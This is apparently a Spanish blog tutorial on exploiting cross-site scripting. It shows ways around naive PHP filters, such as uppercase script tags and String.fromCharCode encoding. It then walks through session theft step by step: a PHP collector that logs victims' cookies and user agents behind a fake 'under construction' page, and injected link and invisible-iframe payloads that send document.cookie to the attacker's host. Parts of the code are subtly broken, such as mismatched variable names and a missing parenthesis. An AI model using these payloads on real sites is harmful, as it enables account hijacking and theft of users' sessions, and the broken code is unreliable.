Parte 2: Cross Site Scripting (XSS): Robo de cookies y modificación de un sitio web (persistente y reflejado).

24

By: Edu4rdSHL
En un post anterior explicamos los peligros de tener o hallar una vulnerabilidad XSS en un sitio web, así como los tipos de XSS que existen y la manera de explotarlos. Hoy vamos a ver las tecnicas más avanzadas que existen al momento de querer explotar un fallo XSS.

Metodo 1: Reemplazando <script> con una sentencia nula "".


Aquí hay un código que tiene un filtro para detectar ataques XSS, sin embargo es vulnerable a XSS Reflejado modificando un parámetro.

<?php
if(!array_key_exists ("nombre", $_GET) || $_GET['nombre'] == NULL || $_GET['nombre'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hola ' . str_replace('<script>', '', $_GET['nombre']);
echo '</pre>';
}
?>


Cómo puedes ver en el código anterior, el developer añadió un filtro que reemplaza la cadena "<script>" con el sting nulo "". Una manera de bypassear este filtro es, en lugar de "<script>" escribir "<SCRIPT>" en mayúscula, ya que el developer solo filtra el texto "<script>" en minúscula. La manera de bypassear este filtro sería: <SCRIPT>.......</SCRIPT>


Otra manera de bypassear el filtro anterior es usando la siguiente sentencia

<script type=text/javascript>alert("XSS")</script>


Tenga en cuenta que usar las siglas XSS para probar si un sitio web es vulnerable a dicho ataque es una mala idea, la mayoría de sitios bloquean peticiones que contienen esas letras.

Metodo 2: Filtración de magic quotes (carácteres especiales).

En esta tecnica el desarrollador del sitio web, usa una funcion PHP llamada "addslashes()" que añade un slash "/" antes de cualquier carácter especial. Por eso el tradicional código que se usa para pruebas XSS no funciona.
Sin embargo hay varias maneras de bypassear este filtro que discutimos a continuación.


1. El metodo más facíl de bypassear este filtro es justamente no usando magic quotes, por ejemplo declarando una variable y asignando un número a ella, luego generando un mensaje con esa variable de este modo:

<script>var val= 1; alert(val)</script>


2. Este metodo es un poco más avanzado, consiste en utilizar una función incluida en JavaScript que permite convertis valores decimales a ASCII, usted puede encontrar una tabla completa de valores ASCII aquí http://www.asciitable.com/ esto puede ayudarte a escribir lo que tu quieres o también puedes usar el convertidor de DuckDuckGo el cual te ayuda a convertir múltiples tipos de textos a otros formatos, en este casi de ASCII a decimal. Si deseamos por ejemplo escribir "XSS" en nuestro caso el equivalente en decimal es "88 83 83", ahora que tenemos nuestro valor decimal necesitamos saber que función de JavaScript convierte de decimal a ASCII, esta función se llama "String.fromCharCode()" y para usar esta con un script de alerta lo haríamos de la siguiente manera:


<script>alert(String.fromCharCode(120, 115, 115)</script>


Ahora la página nos debería mostrar el texto "XSS" en pantalla, este método es muy eficiente para bypassear la protección anteriormente mencionada.

Realizando el robo de cookies.

Probablemente haya oído acerca del robo de cookies y cómo pueden estas ser usadas para iniciar sesiones en un sitio web, servidor, etc. Debes estar pensando que realizar un robo de cookies es un trabajo difícil y que tomará mucho tiempo, sin embargo es algo muy simple y fácil, solo necesitamos unas bases de programación y un sitio vulnerable a XSS.


Lo que necesitamos para realizar el robo de cookies es lo siguiente: Crear un script PHP llamado recolector_de_cookies.php, subiremos este a una compañía de hosting, luego injectaremos un código JS malicioso que enviará las cookies a nuestro sitio web malicioso y cuando nuestro archivo PHP recibe la información la guardará en un archivo llamado cookie_robada.txt. ¿Fácil verdad?
Entonces necesitamos lo siguiente:


* Un script PHP que reciba la cookie. * Un código JS que envíe la cookie a nuestro sitio web malicioso. * Una compañía de hosting que te permita subir el script PHP.

1. recolector_de_cookies.php


Aquí he creado un script que puede ser usado con esa finalidad, el cual recolecta y guarda la cookie en un archivo llamado cookie_robada.txt.

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('cookie_robada.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie n");
fclose($file);
echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
href="http://www.google.com/">here</a> para volver a la página anterior. ';
?>


Para entender lo que hace este script:

$collectedCookie=$HTTP_GET_VARS["cookie"]; Esta línea guarda los datos que están almacenados en la variable llamada cookie dentro de la variable llamada collectedCookie.
$date=date("l ds of F Y h:i:s A"); Esta línea guarda los datos en que se realizó el robo de la cookie.
$user_agent=$_SERVER['HTTP_USER_AGENT']; Aquí guardamos el User Agent usado por la víctima al momento de iniciar sesion, puede servir para futuros ataques en caso de ser requerido.
$file=fopen('cookie_robada.txt','a'); Aquí creamos el archivo cookie_robada.txt el cual guarda la información almacenada en las cookies de la víctima.
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie n"); Aquí guardamos los datos en el formato ("FECHA: || User Agent || COOKIE").
fclose($file); Cerramos el archivo. echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
href="http://www.google.com/">here</a> para volver a la página anterior. ';

Imprimimos el mensaje "Lo sentimos, esta página está en construcción" y ofrecemos un link que los redirige a google.


Aquí terminamos con el archivo que nos será de utilidad para robar las cookies.

2. Código JavaScrip.

Este es un código JS que puede ser inyectado en el servidor o en el navegador de la víctima. Podemos usar cualquiera de los siguientes scripts:

 

<a onclick="document.location='http://127.0.0.1/recolector_de_cookies.php?
cookie='+escape(document.cookie);" href="#">Click aquí para detalles.</a>


Este script necesita la interacción del usuario ya que ofrecemos un link al usuario que debe clickearlo, el cual lo redireccionará a nuestro sitio web malicioso que se encargará de recolectar toda la información.

<iframe width='0' height='0' frameborder='0'
src='<script>document.location='http://127.0.0.1/recolector_de_cookies.php?
cookie='+escape(document.cookie);</script>' />


Este script no necesita ningún tipo de interacción ya que inyecta directamente el sitio web la victima y además es invisible a la victima que no puede ver nada cuando la conexión es establecida y de este modo podemos robar la información.


Una vez realizado con éxito el ataque podemos buscar en nuestro hosting el archivo llamado cookie_robada.txt y darle los usos que consideremos pertinentes.


Nota: Vabe la pena resaltar que en los scripts anteriores debemos cambiar la variable

document.location por

document.location='http://nuestrohosting.com/recolector_de_cookies.php?cookie='+escape(doc…);
 

By: Edu4rdSHL

Acerca del autor

Sociólogo de profesión y un fiel militante en tecnologías de la privacidad, también editor en la wiki de "Archlinux", el blog "El Binario" y para el portal "Security Hack Labs", me puedes contactar en Telegram como @D1nam0 o bien por mail [email protected]